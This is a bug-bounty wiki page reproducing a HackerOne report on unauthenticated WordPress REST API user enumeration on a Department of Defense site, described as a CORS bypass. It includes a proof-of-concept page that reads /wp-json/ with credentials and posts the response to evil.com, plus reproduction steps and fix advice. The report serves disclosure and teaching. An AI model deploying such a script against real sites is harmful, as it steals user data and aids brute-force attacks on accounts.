Skip to content
Info disclosure Disclosed report Beginner

Bypassing CORS Misconfiguration Leads to Sensitive Exposure

The WordPress REST API endpoint exposed user information such as IDs, names and login names without authentication. An attacker could collect the list of registered users and use it to direct brute-force attacks against their accounts.

deb0con Follow

Originally disclosed on HackerOne

  • Triaged in 45 hours
  • Fixed in 31 days
  • Disclosed after 4 months

Hi! Security Team @deptofdefense, It's possible to get information about the users registered (such as: id, name, login name, etc.) without authentication in Wordpress via API on *. ███████.

Description: By default Wordpress allow public access to Rest API to get informations about all users registered on the system.

Platform(s) Affected: [website] *. https://████/wp-json/

##Steps To Reproduce:

  1. Repreat URL Vulnerable to Burp Suite
  2. If you add the Origin-parameter to the Request-header, the responsive header will reject
  3. Bypassing Using Exploit CORS-With Sensitive
  4. Open Request Vulnerability URL in /wp-json/` , when you open the url, you can see path-routes`` disclousure

Proof On Concept:

JavaScript
<!DOCTYPE html>
<html>
<body>
<center>
<h3>Steal customer data!</h3>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://██████/wp-json/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
  1. save file as .html and open in mozzila-firefox , and boom sensitive has been exposure

Remediation: There are 2 ways that it's possible to fix this problem. FIX 1 - It's possible to remove this access for anyone by change the source code where when someone request the Rest API and the server send a 404 (Not Found) message for the user who made the request. Reference: https://github.com/WP-API/WP-API/issues/2338 FIX 2 - It's also possible to create a rewrite rule on .htaccess (if the webserver it's Apache) to redirect any request that contain rest_route (eg.: "^.rest_route=/wp/") to a Not Found (404) or a Default Page.

##POC Screenshots Material/References:

  • ███████
  • █████████
  • █████

Impact

  1. It's possible to get all the users registered on the system and create a bruteforce directed to these users.
  2. Cross Misconfiguration -Leakage Sensitive Information

The original report as published on HackerOne, by deb0con. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could enumerate all registered users and use that list to aim brute-force attacks at their accounts; the report's CORS claim is not clearly demonstrated, and the data appears to be readable without any cross-origin trick.

What the attacker needed

None

The fix

The REST API user listing should be restricted so unauthenticated requests receive a not-found response, for example through a server rewrite rule or code change.

How it was found

  1. Send the vulnerable URL to an interception proxy.
  2. Add an Origin header to the request and observe the response header being rejected.
  3. Bypass the CORS handling to reach the sensitive data.
  4. Open the /wp-json/ URL and observe the disclosed routes.
  5. Save the proof-of-concept page as an HTML file and open it in Firefox to see the data exposed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WordPress has a built-in web interface (the REST API) that other software can query for data. By default it answers questions about the site's users to anyone, even people who are not logged in. That means a stranger can download a list of usernames, which makes guessing their passwords much easier.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by deb0con

View all

7 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.